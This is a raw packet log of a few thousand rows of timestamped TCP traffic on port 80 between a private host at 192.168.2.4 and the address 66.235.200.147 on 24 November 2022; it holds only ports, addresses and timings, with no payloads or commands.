Nov 24, 2022 13:27:53.123109102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123126984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123145103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123159885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123342037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123461962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123481989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123501062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123519897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123538017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123539925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123559952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123565912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123579025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123599052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123600006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123619080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123637915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123641014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123657942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123672962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123677969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123696089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123714924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123733044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123733997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123753071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123764992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123769999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123788118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123789072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123809099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123826981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123828888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123856068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.124355078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124375105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124392986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124412060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124434948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124438047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.124456882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.124475956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124495029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124496937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.124515057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124536037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124553919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124572992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124572992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.124592066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124593019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.124609947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124628067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124634981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.124646902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124656916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.124665022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124684095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124701977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124705076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.124721050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124738932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.124753952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.124772072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.125297070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125317097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125334978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125353098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125365019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.125372887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125384092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.125391960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125410080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125427961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.125428915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125447989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125466108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125482082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.125508070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.125760078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125787020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125817060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.125861883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125883102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125902891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125920057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.125921011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125940084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125960112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125962019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.125978947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.125998020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126008987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.126017094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126027107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.126035929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126055956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126070023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.126074076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126108885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.126749039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126766920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126786947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126825094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.126827955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126846075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.126847029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126867056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126898050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126900911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.126918077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126938105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126957893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126966000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.126976967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.126990080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.126996994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127015114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127027988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127036095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127053976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127072096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127084017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127089977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127104044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127110958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127130032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127140999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127147913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127181053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127424955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127443075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127490997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127505064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127526045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127545118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127552032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127564907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127585888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127604961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127605915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127624989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127641916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127641916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127660990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127681971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127684116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127700090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127722025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127732038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127752066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127758026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127770901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127790928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127809048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127819061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127829075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127840996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.127847910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.127882957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.128329992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128350973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128370047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128415108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.128436089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.128437996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128689051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128707886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128750086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.128763914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128782988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128802061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128818035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.128851891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.128856897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128966093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.128985882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129005909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129024029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129039049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.129064083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.129182100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129236937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.129436970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129477978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129509926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129543066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129561901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.129570961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129601002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129625082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.129631042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129662037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129663944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.129689932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129720926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129750967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129750967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.129769087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.129781008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129811049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129842043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129863977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.129873037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.129894018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.130006075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130037069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130069017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130091906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.130100012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130126953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.130155087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130187035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130209923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.130218983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130249023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130270004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.130280018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130310059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130340099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130361080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.130373001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130383015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.130425930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130470037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130517006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130523920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.130563974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130573034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.130613089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130655050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130686045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.130708933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130791903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.130852938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131028891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131077051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131113052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131128073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131175995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131221056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131244898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131268978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131273985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131318092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131362915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131408930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131452084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131453037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131452084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131532907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131562948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131592035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131612062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131622076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131635904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131652117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131681919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131712914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131731987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131742001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131759882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131771088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131800890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131829977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131855965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131859064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131881952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.131887913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131917000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131947994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.131978035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132005930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132014036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132014990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132035971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132064104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132065058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132093906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132132053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132322073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132353067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132383108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132412910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132441998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132472038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132472992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132472992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132502079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132505894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132536888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132556915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132566929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132597923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132621050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132628918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132658958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132688046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132713079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132715940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132730961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132745028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132775068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132805109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132822990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132834911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132864952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132872105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.132894039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.132919073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133147955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133177042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133205891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133234978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133259058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133265018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133292913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133300066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133342981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133351088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133380890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133390903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133410931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133440018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133495092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133622885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133661032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133677959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133692980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133724928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133761883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133780003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133796930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133829117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133835077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133857965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133887053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133907080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133915901 CET	80	49702	66.235.200.147	192.168.2.4
